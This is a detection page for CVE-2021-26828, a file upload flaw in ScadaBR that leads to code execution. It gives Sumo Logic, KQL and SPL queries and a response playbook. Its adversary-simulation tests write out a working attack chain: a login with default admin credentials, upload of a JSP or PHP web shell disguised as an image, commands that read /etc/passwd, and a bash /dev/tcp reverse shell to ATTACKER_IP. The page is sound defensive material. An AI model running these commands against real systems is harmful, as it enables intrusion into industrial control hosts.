CVE-2021-26828 Sumo Logic CSE · Sumo

Detect CVE-2021-26828: OpenPLC ScadaBR Unrestricted File Upload RCE in Sumo Logic CSE

Detects exploitation of CVE-2021-26828, an unrestricted file upload vulnerability in OpenPLC ScadaBR that allows authenticated attackers to upload files with dangerous types (e.g., JSP, PHP, WAR) to the server, leading to remote code execution. ScadaBR is a SCADA/HMI web application widely used in industrial control systems. This vulnerability is actively exploited in the wild and listed in CISA KEV.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=* ("scadabr" OR "openplc" OR "tomcat")
| parse "* * * \"* *\" * *" as client_ip, ident, auth_user, http_method, uri_path, response_code, bytes nodrop
| where http_method = "POST"
| where uri_path matches "/upload*" OR uri_path matches "/graphicViews*" OR uri_path matches "/images*"
| where uri_path matches "*.jsp" OR uri_path matches "*.jspx" OR uri_path matches "*.php" OR uri_path matches "*.war" OR uri_path matches "*.sh" OR uri_path matches "*.aspx"
| union (
  _sourceCategory=*sysmon* OR _sourceCategory=*endpoint*
  | json "event.action", "process.name", "process.parent.name", "process.command_line" as action, proc_name, parent_name, cmdline nodrop
  | where action = "process_created"
  | where parent_name matches "*java*" OR parent_name matches "*tomcat*"
  | where proc_name in ("cmd.exe", "powershell.exe", "bash", "sh", "python", "python3", "nc", "wget", "curl")
)
| count by _sourceHost, client_ip, uri_path, http_method, proc_name, parent_name
| sort by _count desc
critical severity medium confidence

Sumo Logic query identifying POST requests uploading dangerous file types to ScadaBR endpoints and Java processes launching shell interpreters, flagging potential CVE-2021-26828 exploitation.

Data Sources

Sumo Logic HTTP SourceSysmon via Sumo Logic CollectorTomcat Access LogsLinux Syslog

Required Tables

_sourceCategory=tomcat*_sourceCategory=*sysmon*_sourceCategory=*endpoint*

False Positives & Tuning

  • Authorized uploads of JSP-based custom dashboards by ScadaBR administrators
  • Tomcat WAR deployment during maintenance windows by operations teams
  • Java-based monitoring agents that spawn shell commands for health checks
  • Authorized penetration testing activities targeting ICS/SCADA web interfaces

Other platforms for CVE-2021-26828

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Upload JSP Web Shell to ScadaBR Upload Endpoint

    Expected signal: HTTP POST to /ScadaBR/upload.shtm with multipart form data containing .jsp file; Tomcat access log shows 200 response; file creation event for .jsp file in webapps directory

  2. Test 2Execute OS Command via Uploaded JSP Web Shell

    Expected signal: Java process (Tomcat JVM) spawning child process for id, whoami, cat commands; Sysmon Event ID 1 with ParentImage containing java; process command line containing /etc/passwd

  3. Test 3Establish Reverse Shell from ScadaBR Server via Web Shell

    Expected signal: Java process spawning bash with /dev/tcp redirect; outbound TCP connection from ScadaBR host to ATTACKER_IP:4444; network flow event with non-standard destination port from Java process

  4. Test 4Upload PHP Web Shell as Image File Bypass

    Expected signal: POST request to upload endpoint with PHP file disguised as image; file creation event showing PHP content in webapps directory; Content-Type mismatch between declared image/jpeg and actual PHP content

Last updated: 2026-06-19 Research depth: standard
References (3)

Response Playbook

Triage

  1. Identify the source IP of the upload request and determine if it is an internal ICS/OT network address or an external threat actor; cross-reference with authorized ScadaBR admin user accounts.
  2. Inspect the uploaded file path and name on the ScadaBR/Tomcat server — locate files with extensions .jsp, .jspx, .php, .war, .sh in the upload, images, or graphicViews directories and extract them for analysis.
  3. Check Tomcat access logs for POST requests to /upload, /graphicViews, or /images endpoints with response codes 200 or 302, and correlate with subsequent GET requests to the same suspicious paths (indicating web shell access).
  4. Determine whether the Java process has spawned child processes such as cmd.exe, bash, sh, or python and review the command-line arguments for reconnaissance commands (whoami, id, ifconfig, netstat, ls).

Containment

  1. Immediately isolate the ScadaBR/OpenPLC host from the network at the switch or firewall level to prevent lateral movement into OT/ICS infrastructure while preserving disk state for forensic analysis.
  2. Disable web access to the ScadaBR upload endpoint by applying a WAF rule or nginx/Apache deny rule blocking POST requests to /upload and /graphicViews paths until the vulnerability is patched or mitigated.
  3. Terminate the Java/Tomcat process if active web shell execution is confirmed and a reverse shell session is established; capture memory dump before termination if possible.

Evidence Collection

  1. Collect Tomcat access logs (access_log.*.txt), Tomcat catalina.out, and application logs from the ScadaBR installation directory; preserve with timestamps and file hashes.
  2. Extract and hash all files created in Tomcat webapps, upload, and images directories within the incident timeframe; submit suspicious files to sandboxing environment for behavioral analysis.
  3. Capture full packet capture (PCAP) from the network interface of the ScadaBR host covering the incident window to reconstruct the attacker's HTTP session and any C2 communications.

Escalation Criteria

  • !Escalate immediately to ICS/OT security team and plant operations if the ScadaBR instance is connected to live operational technology (PLCs, RTUs, HMIs) or safety instrumented systems, as RCE in this environment can cause physical process disruption.
  • !Escalate to incident response leadership and notify CISA if exploitation is confirmed, as CVE-2021-26828 is listed in CISA KEV and may indicate a targeted attack on critical infrastructure; mandatory reporting may apply under CIRCIA.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Tomcat access logs showing POST requests with dangerous file extensions to upload endpoints
  • >File system artifacts: newly created .jsp, .php, .war, .sh files in Tomcat webapps or ScadaBR upload directories
  • >Java process child process tree showing cmd.exe, bash, or python spawned from Tomcat JVM
  • >Network connections from Tomcat/Java process to external IPs on non-standard ports (reverse shell)
  • >Windows Security Event Log 4688 or Sysmon Event ID 1 showing process creation with Java parent

Tuning Guidance

Reduce false positives by baselining legitimate ScadaBR admin accounts and their typical upload activity patterns, then filtering on known-good source IPs or authenticated sessions. Whitelist authorized WAR deployment pipelines by their source IP or user agent. In environments where ScadaBR is internet-exposed, increase alert fidelity by requiring both the upload event AND a subsequent file execution or process spawn event in sequence. If Tomcat is running in a container or VM, scope detection to the specific host/container name to avoid noise from legitimate Java web application servers in the same environment.

Hunting Queries

Hunt for files with dangerous extensions created by Java processes in web application directories over the past 7 days — identifies web shells placed via CVE-2021-26828 or similar unrestricted upload vulnerabilities in SCADA applications.

Hunting — KQL
kql 
DeviceFileEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("java.exe", "java")
| where FolderPath matches regex @"(?i)(webapps|upload|images|graphicViews)"
| where FileName matches regex @"(?i)\.(jsp|jspx|php|war|sh|py|aspx)$"
| project TimeGenerated, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated desc
Hunting — SPL
spl 
index=* sourcetype IN ("WinEventLog:Microsoft-Windows-Sysmon/Operational", "linux_auditd")
(EventCode=11 OR type="PATH")
(TargetFilename="*.jsp" OR TargetFilename="*.php" OR TargetFilename="*.war" OR TargetFilename="*.sh")
(TargetFilename LIKE "%webapps%" OR TargetFilename LIKE "%upload%" OR TargetFilename LIKE "%scadabr%")
| table _time, host, TargetFilename, Image, CommandLine
| sort -_time

Atomic Red Team Tests

Test 1 Upload JSP Web Shell to ScadaBR Upload Endpoint
linux

Simulates an attacker uploading a JSP web shell to the ScadaBR image/file upload endpoint, exploiting the lack of file type validation in CVE-2021-26828.

Command

bash 
curl -s -c /tmp/scadabr_cookies.txt -b /tmp/scadabr_cookies.txt -X POST 'http://TARGET_IP:8080/ScadaBR/j_security_check' -d 'j_username=admin&j_password=admin' && curl -s -c /tmp/scadabr_cookies.txt -b /tmp/scadabr_cookies.txt -X POST 'http://TARGET_IP:8080/ScadaBR/upload.shtm' -F 'file=@/tmp/test_shell.jsp;type=image/jpeg' -F 'name=shell'

Cleanup

bash 
rm -f /tmp/scadabr_cookies.txt /tmp/test_shell.jsp

Expected Telemetry

HTTP POST to /ScadaBR/upload.shtm with multipart form data containing .jsp file; Tomcat access log shows 200 response; file creation event for .jsp file in webapps directory

Expected Detection

Alert on POST request to ScadaBR upload endpoint with .jsp extension in filename; file creation alert for JSP in webapps directory

Test 2 Execute OS Command via Uploaded JSP Web Shell
linux

After uploading the web shell via CVE-2021-26828, simulates attacker accessing the shell to execute OS commands on the ScadaBR server.

Command

bash 
curl -s 'http://TARGET_IP:8080/ScadaBR/uploads/shell.jsp?cmd=id' && curl -s 'http://TARGET_IP:8080/ScadaBR/uploads/shell.jsp?cmd=whoami' && curl -s 'http://TARGET_IP:8080/ScadaBR/uploads/shell.jsp?cmd=cat+/etc/passwd'

Cleanup

bash 
Remove the uploaded shell.jsp file from ScadaBR webapps/uploads directory on the target

Expected Telemetry

Java process (Tomcat JVM) spawning child process for id, whoami, cat commands; Sysmon Event ID 1 with ParentImage containing java; process command line containing /etc/passwd

Expected Detection

Alert on Java/Tomcat spawning OS command processes (id, whoami, cat); process ancestry anomaly detection fires on non-standard child of Java

Test 3 Establish Reverse Shell from ScadaBR Server via Web Shell
linux

Simulates attacker using the uploaded web shell to establish a reverse shell from the ScadaBR ICS host back to attacker-controlled infrastructure.

Command

bash 
curl -s -G 'http://TARGET_IP:8080/ScadaBR/uploads/shell.jsp' --data-urlencode 'cmd=bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

Cleanup

bash 
Kill the reverse shell process on the target; remove web shell artifact from ScadaBR server

Expected Telemetry

Java process spawning bash with /dev/tcp redirect; outbound TCP connection from ScadaBR host to ATTACKER_IP:4444; network flow event with non-standard destination port from Java process

Expected Detection

Alert on Java process establishing outbound non-standard port connection; reverse shell detection via bash -i /dev/tcp pattern; network detection for OT host communicating with external IP

Test 4 Upload PHP Web Shell as Image File Bypass
linux

Tests whether ScadaBR's upload endpoint can be bypassed by naming a PHP web shell with an image extension, then accessing it with a .php path traversal or direct URL.

Command

bash 
echo '<?php system($_GET["cmd"]); ?>' > /tmp/evil.php && curl -s -c /tmp/cookies.txt -b /tmp/cookies.txt -X POST 'http://TARGET_IP:8080/ScadaBR/j_security_check' -d 'j_username=admin&j_password=admin' && curl -s -c /tmp/cookies.txt -b /tmp/cookies.txt -X POST 'http://TARGET_IP:8080/ScadaBR/upload.shtm' -F 'file=@/tmp/evil.php;filename=evil.jpg;type=image/jpeg'

Cleanup

bash 
rm -f /tmp/evil.php /tmp/cookies.txt; remove any uploaded file from ScadaBR server

Expected Telemetry

POST request to upload endpoint with PHP file disguised as image; file creation event showing PHP content in webapps directory; Content-Type mismatch between declared image/jpeg and actual PHP content

Expected Detection

File type mismatch detection or magic bytes inspection; alert on .php file creation in web application directory regardless of declared MIME type

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003Persistence

Related Techniques

T1190Exploit Public-Facing ApplicationT1505.003Web ShellT1059Command and Scripting InterpreterT1083File and Directory DiscoveryT1571Non-Standard Port

Same Tactic: Initial Access

Popular Detections